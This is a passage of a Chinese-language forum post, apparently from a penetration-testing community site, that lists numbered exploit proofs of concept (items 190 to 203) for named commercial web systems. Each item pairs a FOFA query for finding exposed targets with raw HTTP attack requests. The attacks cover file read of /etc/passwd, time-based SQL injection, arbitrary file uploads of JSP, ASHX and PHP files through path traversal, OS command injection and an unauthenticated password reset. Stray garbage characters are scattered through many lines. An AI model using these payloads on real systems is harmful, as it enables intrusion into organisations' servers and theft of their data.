% {7 r) `% Q" n! H. `/ T8 cAccept-Encoding: gzip, deflate
6 n% K( C9 }/ t  G8 y* o+ bAccept-Language: zh-CN,zh;q=0.9
. X- e) I/ o9 |6 OConnection: close

: F, F3 ^, |$ {; ^+ n# K3 N
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
; ]5 ^% W- a/ YHost: your-ip
/ @8 p6 d7 b3 m9 \1 _$ E, @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
) N- O3 F* K; MContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
4 B7 e# y6 B+ e7 G/ u& }# K" U
3 n+ [% h' c3 W( [- Cpoi=file:///etc/passwd
2 ^$ Y, ~! X) _& g8 Y5 Z

2 d* [7 {' ~" B; Q1 c191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
% a3 \3 |" U) v) a/ Q( R. y$ a2 p4 xFOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
3 ^" _. @! A5 n, wHost: your-ip
( z- M5 _, g; t" g3 W; CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
3 g8 N0 a# e% S) f1 ]6 V0 gContent-Type: application/x-www-form-urlencoded

) O/ q1 s7 E# C( s. a9 f* T3 m: wcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
3 v% K- j7 x( u  u9 |9 ^
8 D+ s$ ^5 |' @$ ]! W8 I
" l8 C4 \8 F4 D$ _' r0 k" n192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
6 ^7 m" ?" B5 `% q( ]) `8 ~POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
) `- {! k4 ~. R' p& hContent-Type: application/x-www-form-urlencoded


# o, t' ^4 B( ~/ z<% @ webhandler language="C#" class="AverageHandler" %>
( s3 V5 @2 a/ X* S! {using System;
using System.Web;
public class AverageHandler : IHttpHandler
+ I2 O7 F2 Z$ f$ a! M$ @{
public bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
{
9 T7 n" A- U% Wctx.Response.Write("test");
}
}
# `7 E0 P$ m* V

* l+ d# b2 r7 @2 ?6 _* e193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
: p' h  c4 ?$ pFOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
" d3 U3 B7 f0 [1 ~- N+ `" B! bCookie: PHPSESSID=2333333333333;
& [1 g4 \7 Y/ N8 b3 Z- B% y: TContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

4 O2 q8 m5 f* ^' U3 {3 R) ~: C
$ f# l. z! R3 R% k% K, KPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
5 k: k9 E5 k: {0 HAccept: */*
; y9 I9 [" ?# ?+ E( L" Z3 zConnection: close
* m2 s  D4 f$ B. _1 \Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
' A) E8 y( s+ M5 k0 F0 h( D
  G" s5 W; A4 [7 Vparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
2 X* \" p, \8 W5 d. N, a' B; j* G. y

# ?1 v8 _: T; O' e& AGET /master/img/config HTTP/1.1
Host:
- }0 [* ~$ x# x3 G8 o6 [# R$ _( YUser-Agent: Mozilla/5.0


/ }0 g, j" \6 w' c194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

- v# U, f; T. }8 pPOST /servlet/uploadAttachmentServlet HTTP/1.1
! V: L2 y( u/ N4 bHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
: a$ B8 I  K% y1 f/ B6 _6 _6 @7 d* xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
- C  Y" m4 x4 M' _8 y- }! U4 vConnection: close
% H/ q; i  d+ R, y  j' u/ \Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
2 p$ g4 W/ W: D, M1 g7 J9 Q
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
5 o( i0 z6 l; w" G9 q<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
' u% C# v# ~# Y& ~0 ~6 c1 x& ^Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

+ f* d, C. B+ ]# l! F* D
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
" m& w4 j6 @. Z5 _Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
0 i* q, C$ V/ K" t  j/ BContent-Type: application/x-www-form-urlencoded
Content-Length: 68
  @& C  ^2 Y; I' f/ o" ?$ T
5 \& u! k; F! p  l' V{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}


. X4 m+ m$ S9 E$ Q196. 河南省风速科技统一认证平台密码重置
+ d7 H( L& y& ~- G* k' G* B3 yFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
6 S1 D' r- D# y0 [2 f7 \  wPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
. l) I7 M3 y1 c4 S  `, U' J+ PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
. e' q7 |7 a9 D+ ]Host:
. l( J! @1 j& d/ f3 gAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
' d# k4 X& A9 m/ f% p  EContent-Length: 45
9 y8 }# D  c$ T! [; N7 tConnection: close
  v! U- ^/ b  Q9 a9 ~" k1 Q
{"xgh":"test","newPass":"test666","email":""}
& ]6 i1 S& ]' _
! r' M1 |; v: O4 J# c" U4 p* G9 E

197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
4 l( B4 X; h& @3 E& nFOFA：app="浙大恩特客户资源管理系统"
& ^# \  u3 u; l# H; D7 v5 i  ]GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
" v# u/ a4 t/ R4 @/ ZHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
- W/ H0 ]+ k+ S. }" OAccept-Encoding: gzip, deflate
: Y7 t0 Y. F$ ~! X+ b$ Q0 XConnection: close



198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
5 u. `$ C9 Y6 y1 X' z9 }6 {5 RAccept: */*
7 T- c: S2 v" ]5 \8 Y: o% c" tAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
" m4 [' h8 D; H( pConnection: close

% B! D8 m/ t/ r) ?$ ~8 S) I
$ a0 {8 J/ G% G- }4 O* n) B5 i199. cockpit系统assetsmanager_upload接口 文件上传

4 K- O  U0 P1 Q+ `! t3 ^. b1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
7 D! _0 g2 c* [7 Q9 _GET /auth/login?to=/ HTTP/1.1
  V: r% I: Z2 @$ ~# ~% A
2 b" f6 i) R. W  V$ e6 {响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

- T5 Y( Z/ J0 m3 }2.使用刚才上一步获取到的jwt获取cookie：

POST /auth/check HTTP/1.1
4 J1 F( }1 N& X0 d1 J9 K( F$ N, c8 dContent-Type: application/json

& C9 O# I0 R- C" q( |{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
3 x8 }8 M0 X2 V2 c$ W  iContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
% W. @  W+ g. B2 I
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
5 w4 u$ u8 P  ]* d' `0 v$ MContent-Type: text/php

: W. r7 O6 l0 v! |$ G5 u0 ^" d<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
" \" c, Q+ b5 W; w& n. G2 c& Q, _Content-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--

" o, k6 y! b# T* E( m8 X( A
/storage/uploads/tttt.php

' h8 ]* o6 W! m$ o200. SeaCMS海洋影视管理系统dmku SQL注入
( D4 \1 {# N8 x% O' [  {$ VFOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
$ x0 l& W  k: P( e( _5 KUpgrade-Insecure-Requests: 1
, i* s1 c( m) x6 \% S, c3 Q8 eCache-Control: max-age=0
6 V% U7 ]! @6 R, U5 BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: V9 o, W# F5 O, ~: E3 {Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

1 h' N: W7 u8 i, |
2 a  t+ Y3 |4 U; ]& c201. 方正全媒体新闻采编系统 binary SQL注入
) W2 X! \# ~9 W% \FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
' T: q5 [9 \. l% u: R6 APOST /newsedit/newsplan/task/binary.do HTTP/1.1
  d& {( J& ]9 ]Content-Type: application/x-www-form-urlencoded
9 l- t4 }' z6 O. w5 xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 v( [6 k4 V. W1 a4 V1 vConnection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

2 y9 i& b5 |0 b/ p* L7 @
6 q# B! _/ k; m9 Z4 I( t202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
/ W( h8 E: x9 `3 s获取__VIEWSTATE和__EVENTVALIDATION值
5 V1 A$ N- E7 zGET /User/AccountEdit.aspx HTTP/1.1
7 Z, m' X. A4 Y% X4 |' k8 _  mHost: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
; R5 x5 P8 X0 ]1 q8 M( ZContent-Length: 0
' O  P8 ^) d+ C; V" X
( \6 a1 g) _' Q' F$ Y# ?
/ T  `7 @# }  m) B6 o, |6 _' w$ x替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
4 G* G- ~- [9 s& R  xContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
! `5 [. X1 p6 P7 D, Z$ V
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
6 n( G! C1 x) ^" n3 ^
__VIEWSTATE
" d7 S: x* @# y0 t& f0 y2 ?% f! V: P-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
: B" r1 |8 |. t  |. K5 k; S, vContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
( w: T" \: u* \; T
7 c" Z, B& @: f$ @Hello World!
. Q3 b4 Z4 Y$ R) q; u-----------------------------786435874t38587593865736587346567358735687
5 q7 X( ]7 {- h, S* D' EContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
$ y' b- J( J  \( Q! F. q-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
7 E0 k+ N  X0 P  X, z( H% J

-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"


-----------------------------786435874t38587593865736587346567358735687--

+ N8 p4 l  b) x0 q3 g( [4 |5 z
) e" _! F" B/ ~3 C# b5 }/_data/Uploads/1123.txt

" d) B9 ^( F- j" i7 p. }# N203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
9 r% h( }: _; L: Y" Y+ ]Host: x.x.x.x
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
6 \' _5 \. W6 I6 W1 `: s2 oContent-Type:image/jpeg

1 n: Z, [) N0 `+ G- J<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--

! b& j: A. n# o% L

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2